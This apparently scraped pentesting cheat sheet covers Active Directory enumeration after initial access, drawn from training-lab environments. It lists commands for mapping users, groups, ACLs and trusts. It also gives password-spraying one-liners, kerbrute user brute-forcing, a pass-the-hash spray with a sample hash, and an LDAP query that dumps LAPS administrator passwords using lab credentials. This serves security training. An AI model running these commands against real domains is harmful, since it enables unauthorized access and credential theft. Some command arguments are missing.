Skip to content

Post Enumeration

Identifying Domain

Import-Module .\PowerView.ps1
#Forest                  :
#DomainControllers       : {}
#Children                : {}
#DomainMode              : Windows2012R2Domain
#DomainModeLevel         : 6
#Parent                  :
#PdcRoleOwner            :
#RidRoleOwner            :
#InfrastructureRoleOwner :
#Name                    :
Import-Module .\PowerView.ps1
#Forest                     :                                       
#CurrentTime                : 6/25/2023 12:35:54 PM                                  
#HighestCommittedUsn        : 184458                                                 
#OSVersion                  : Windows Server 2019 Standard                           
#Roles                      : {SchemaRole, NamingRole, PdcRole, RidRole...}          
#Domain                     :                                       
#IPAddress                  :                                          
#SiteName                   : Default-First-Site-Name                                
#SyncFromAllServersCallback :                                                        
#InboundConnections         : {}                                                     
#OutboundConnections        : {}                                                     
#Name                       :                                 
#Partitions                 : {DC=za,DC=tryhackme,DC=com,                            
#                             CN=Configuration,DC=za,DC=tryhackme,DC=com,            
#                             CN=Schema,CN=Configuration,DC=za,DC=tryhackme,DC=com,  
#                             DC=DomainDnsZones,DC=za,DC=tryhackme,DC=com...}

Identifying Hosts

get list of computers

Import-Module .\PowerView.ps1
Get-DomainComputer -Domain | select name
Get-DomainComputer -Domain | select dnshostname
get one computer details
Import-Module .\PowerView.ps1
Get-DomainComputer -name THMDC -Domain
Get-DomainComputer -name THMIIS -Domain
Get-DomainComputer -name THMMDT -Domain
Get-DomainComputer -name THMJMP1 -Domain
#pwdlastset                    : 6/8/2022 6:22:43 PM
#logoncount                    : 331
#msds-generationid             : {44, 74, 42, 236...}
#serverreferencebl             : CN=THMDC,CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Confi 
#                                guration,DC=za,DC=tryhackme,DC=com
#badpasswordtime               : 1/1/1601 12:00:00 AM
#distinguishedname             : CN=THMDC,OU=Domain Controllers,DC=za,DC=tryhackme,DC=com
#objectclass                   : {top, person, organizationalPerson, user...}
#lastlogontimestamp            : 6/24/2023 1:09:07 PM
#name                          : THMDC
#objectsid                     : S-1-5-21-3330634377-1326264276-632209373-1001
#samaccountname                : THMDC$
#localpolicyflags              : 0
#codepage                      : 0
#samaccounttype                : MACHINE_ACCOUNT
#whenchanged                   : 6/24/2023 12:09:07 PM
#accountexpires                : NEVER
#countrycode                   : 0
#operatingsystem               : Windows Server 2019 Standard
#instancetype                  : 4
#msdfsr-computerreferencebl    : CN=THMDC,CN=Topology,CN=Domain System Volume,CN=DFSR-GlobalSetti 
#                                ngs,CN=System,DC=za,DC=tryhackme,DC=com
#objectguid                    : 910d503f-f1ba-428c-b5ea-14fc2b6972a0
#operatingsystemversion        : 10.0 (17763)
#lastlogoff                    : 1/1/1601 12:00:00 AM
#objectcategory                : CN=Computer,CN=Schema,CN=Configuration,DC=za,DC=tryhackme,DC=com 
#dscorepropagationdata         : {2/24/2022 9:58:38 PM, 1/1/1601 12:00:01 AM}
#serviceprincipalname          : {TERMSRV/THMDC, TERMSRV/, Dfsr-12F9A27C-BF 
#                                97-4787-9364-D31B6C55EB04/,
#                                ldap/}  
#usncreated                    : 12293
#lastlogon                     : 6/25/2023 1:18:06 PM
#badpwdcount                   : 0
#cn                            : THMDC
#useraccountcontrol            : SERVER_TRUST_ACCOUNT, TRUSTED_FOR_DELEGATION
#whencreated                   : 2/24/2022 9:58:38 PM
#primarygroupid                : 516
#iscriticalsystemobject        : True
#msds-supportedencryptiontypes : 28
#usnchanged                    : 172069
#ridsetreferences              : CN=RID Set,CN=THMDC,OU=Domain
#                                Controllers,DC=za,DC=tryhackme,DC=com
#dnshostname                   :

Identifying Users

πŸš€ From windows (domain joined)


Import-Module .\PowerView.ps1
get user list
Get-NetUser | Select cn, samaccountname, description
get user details
Get-DomainUser -Identity olivia.goodwin -Domain | select *
Get-DomainUser -Identity olivia.goodwin -Domain | select samaccountname,memberof

net user

get user list

net user /domain
get user details
net user olivia.goodwin /domain

πŸš€ From linux


responder -I eth0
responder -I eth0 -rdwv
kerbrute – enumerating users
/opt/windows/kerbrute userenum --help
/opt/windows/kerbrute userenum -d --dc user.txt
/opt/windows/kerbrute userenum -d --dc user.txt
nmap – enumerating users
nmap -p 88 --script=krb5-enum-users --script-args="krb5-enum-users.realm='CONTROLLER.local',userdb=user.txt" $IP
kerbrute - bruteforce a single user's password from a wordlist
/opt/windows/kerbrute bruteuser --help
/opt/windows/kerbrute bruteuser -v -d --dc pass.txt rachel.dunn
enum4linux -U $IP  | grep "user:" | cut -f2 -d"[" | cut -f1 -d"]"
rpcclient -U "" -N $IP
rpcclient> enumdomusers 
crackmapexec smb $IP --users
crackmapexec smb $IP -u $USER -p $PASS --users
ldapsearch -v -x -b "DC=za,DC=tryhackme,DC=com" -H "ldap://$IP_DC" "(objectclass=*)"
ldapsearch -v -x -b "DC=za,DC=tryhackme,DC=com" -H "ldap://$IP_DC" "(objectclass=*)" -D $USER@$DOMAIN -w $PASS
ldapsearch -v -x -b "DC=za,DC=tryhackme,DC=com" -H "ldap://$IP_DC" "(objectclass=user)" -D $USER@$DOMAIN -w $PASS
ldapsearch -v -x -b "DC=za,DC=tryhackme,DC=com" -H "ldap://$IP_DC" "(objectclass=computer)" -D $USER@$DOMAIN -w $PASS
ldapsearch -v -x -b "DC=hutch,DC=offsec" -H "ldap://$IP" "(objectclass=*)"
ldapsearch -v -x -b "DC=hutch,DC=offsec" -H "ldap://$IP" "(objectclass=user)"
get user list with description
ldapsearch -v -x -b "DC=hutch,DC=offsec" -H "ldap://$IP" -s sub -a search -LLL -o ldif-wrap=no dn description "(objectclass=user)"
get user list with names and description
ldapsearch -v -x -b "DC=hutch,DC=offsec" -H "ldap://$IP" -s sub -a search -LLL -o ldif-wrap=no name sAMAccountName userPrincipalName description "(objectclass=user)"

  • -v: Enables verbose mode, which provides more detailed output about the LDAP communication.
  • -x: Uses simple authentication, which sends the bind DN and password in plaintext. This option is not secure and should only be used in secure environments or for testing purposes.
  • -b "DC=hutch,DC=offsec": Specifies the base DN (distinguished name) for the search. This is the starting point for the search in the directory tree.
  • -H "ldap://$IP": Specifies the LDAP server to connect to. $IP is a variable that contains the IP address of the server.
  • -s sub: Specifies the scope of the search. The sub value indicates that the search should be performed recursively from the base DN.
  • -a search: Specifies the type of search to perform. The search value indicates that the search should retrieve all attributes of matching entries.
  • dn description: Specifies the attributes to retrieve for matching entries. In this case, the dn and description attributes are requested.
  • "(objectclass=user)": Specifies the search filter to use. In this case, the filter selects all entries that have the objectclass attribute set to user.

./ --dc-ip $IP -u "" -U

Identifying Groups

net group

get list

net group /domain
get nembers of group
net group "Tier 0 Admins" /domain
net group "Tier 1 Admins" /domain
net group "Tier 2 Admins" /domain



Import-Module .\PowerView.ps1
Get-NetGroup | select *
Get-NetGroup | select samaccountname, member
get nembers of group
Import-Module .\PowerView.ps1
Get-NetGroupMember  "Tier 1 Admins"
# |->
# GroupDomain             : INLANEFREIGHT.LOCAL
# GroupName               : Tier 1 Admins
# GroupDistinguishedName  : CN=Tier 1 Admins,OU=Security Groups,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL
# MemberDomain            : INLANEFREIGHT.LOCAL
# MemberName              : NY340
# MemberDistinguishedName : CN=Annie Vazquez,OU=Finance,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL
# MemberObjectClass       : user
# MemberSID               : S-1-5-21-3327542485-274640656-2609762496-1716
search group parent
Get-DomainGroup -Identity "SQL Admins" | select memberof

Identifying Password

πŸš€ Internal Password Spraying from a Linux Host

Using a Bash one-liner for the Attack

for u in $(cat valid_users.txt);do rpcclient -U "$u%Welcome1" -c "getusername;quit" | grep Authority; done
Using Kerbrute for the Attack
kerbrute passwordspray -d inlanefreight.local --dc users.txt Welcome1
Using CrackMapExec & Filtering Logon Failures
sudo crackmapexec smb -u valid_users.txt -p Password123 | grep +
Local Admin Password Reuse Spraying with CrackMapExec
sudo crackmapexec smb --local-auth -u administrator -H 88ad09182de639ccc6579eb0849751cf | grep +

πŸš€ Internal Password Spraying from a Windows Host

wget -O /opt/windows/DomainPasswordSpray.ps1

Import-Module .\DomainPasswordSpray.ps1
Invoke-DomainPasswordSpray -Password Welcome1 -OutFile spray_success -ErrorAction SilentlyContinue

Enumeration with valid credential

πŸš€ (from linux)

πŸš€ (from windows)

Enumerating the Password Policy

πŸš€ Enumerating the Password Policy – from Linux – Credentialed


crackmapexec smb $IP -u <USER> -p <PASS> --pass-pol
With valid domain credentials, the password policy can also be obtained remotely using tools such asΒ CrackMapExecΒ orΒ rpcclient.

πŸš€ Enumerating the Password Policy – from Linux – SMB NULL Sessions


rpcclient -U "" -N $IP
rpcclient $> querydominfo
Without credentials, we may be able to obtain the password policy via an SMB NULL session or LDAP anonymous bind. querydominfoΒ - obtain information about the domain and confirm NULL session access. getdompwinfo - obtaining the password policy. enum4linux
enum4linux -P $IP
enum4linux-ng -P $IP -oA ilfreight

πŸš€ Enumerating Null Session – from Windows

Establish a null session from windows

net use \\DC01\ipc$ "" /u:""               ## Establish a null session from windows
net use \\DC01\ipc$ "" /u:guest            ## Error: Account is Disabled
net use \\DC01\ipc$ "password" /u:guest    ## Error: Password is Incorrect
net use \\DC01\ipc$ "password" /u:guest    ## Error: Account is locked out (Password Policy)

πŸš€ Enumerating the Password Policy – from Linux – LDAP Anonymous Bind

LDAP anonymous bindsΒ allow unauthenticated attackers to retrieve information from the domain, such as a complete listing of users, groups, computers, user account attributes, and the domain password policy. With an LDAP anonymous bind, we can use LDAP-specific enumeration tools such asΒ,Β ldapsearch,Β, etc., to pull the password policy. WithΒ ldapsearch, it can be a bit cumbersome but doable. ldapsearch - from linux

 ldapsearch -h -x -b "DC=INLANEFREIGHT,DC=LOCAL" -s sub "*" | grep -m 1 -B 10 pwdHistoryLength
net accounts - from windows
net accounts

Enumerating Security Controls

Checking the Status of Defender with Get-MpComputerStatus

Using Get-AppLockerPolicy cmdlet
Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections
Enumerating Language Mode
Using Find-LAPSDelegatedGroups
Using Find-AdmPwdExtendedRights
Using Get-LAPSComputers

Enumerating ACL

πŸš€ Enumerating ACLs with PowerView

wley is a user that we obtained.

Let's dig in and see if this user (wley) has any interesting ACL rights that we could take advantage of. We first need to load PowerView.ps1

Import-Module .\PowerView.ps1

Then need to get the SID of our target user to search effectively.

$sid = Convert-NameToSid wley
# $sid = Convert-NameToSid forend

Searching through all Domain Object - option 1

We can then use the Get-DomainObjectACL function to perform our targeted search. In the below example, we are using this function to find all domain objects that our user has rights over by mapping the user's SID using the $sid variable to the SecurityIdentifier property, which is what tells us who has the given right over an object.

Get-DomainObjectACL -ResolveGUIDs -Identity * | ? {$_.SecurityIdentifier -eq $sid}
ObjectDN :     CN=Dana Amundsen,OU=DevOps,...
ObjectAceType: User-Force-Change-Password
ObjectSID:     S-1-5-21-3842939050-3880317879-2865463114-1176

User wley has the right to force change the Dana Amundsen user password

Get Dana Amundsen profile

get-aduser -Filter 'Name -like "Dana Amundsen"'

Searching through all Users Object - option 2

Creating a List of Domain Users

Get-ADUser -Filter * | Select-Object -ExpandProperty SamAccountName > ad_users.txt

Search through users

foreach($line in [System.IO.File]::ReadLines("C:\tools\ad_users.txt")) {get-acl    "AD:\$(Get-ADUser $line)" | Select-Object Path -ExpandProperty Access | Where-Object {$_.IdentityReference -match 'INLANEFREIGHT\\wley'}}

Performing a Reverse Search & Mapping to a GUID Value


Get-ADObject -SearchBase "CN=Extended-Rights,$((Get-ADRootDSE).ConfigurationNamingContext)" | Where-Object {$_.ObjectClass -like 'ControlAccessRight'} | Select Name,DisplayName,DistinguishedName,rightsGuid| ?{$_.rightsGuid -eq $guid} | fl

Microsoft LAPS

LAPS is a tool that periodically changes the local administrator's password when it expires. It then stores the password details in the Active Directory. Using the credentials we have already found (fmcsorley:CrabSharkJellyfish192), let's attempt to query LDAP for the local administrator password.

ldapsearch -v -x -b "DC=hutch,DC=offsec" -D fmcsorley@HUTCH.OFFSEC -w CrabSharkJellyfish192 -H "ldap://$IP" "(ms-MCS-AdmPwd=*)" ms-MCS-AdmPwd

Enumerating Trust Relationships

from powershell

Using Get-ADTrust

Import-Module activedirectory
Get-ADTrust -Filter *

Checking for Existing Trusts using Get-DomainTrust

Import-Module .\PowerView.ps1

Using Get-DomainTrustMapping

Import-Module .\PowerView.ps1

Checking Users in the Child Domain using Get-DomainUser

Import-Module .\PowerView.ps1
Get-DomainUser -Domain LOGISTICS.INLANEFREIGHT.LOCAL | select SamAccountName

from cmd

Using netdom to query domain trust

netdom query /domain:inlanefreight.local trust

Using netdom to query domain controllers

netdom query /domain:inlanefreight.local dc

Using netdom to query workstations and servers

netdom query /domain:inlanefreight.local workstation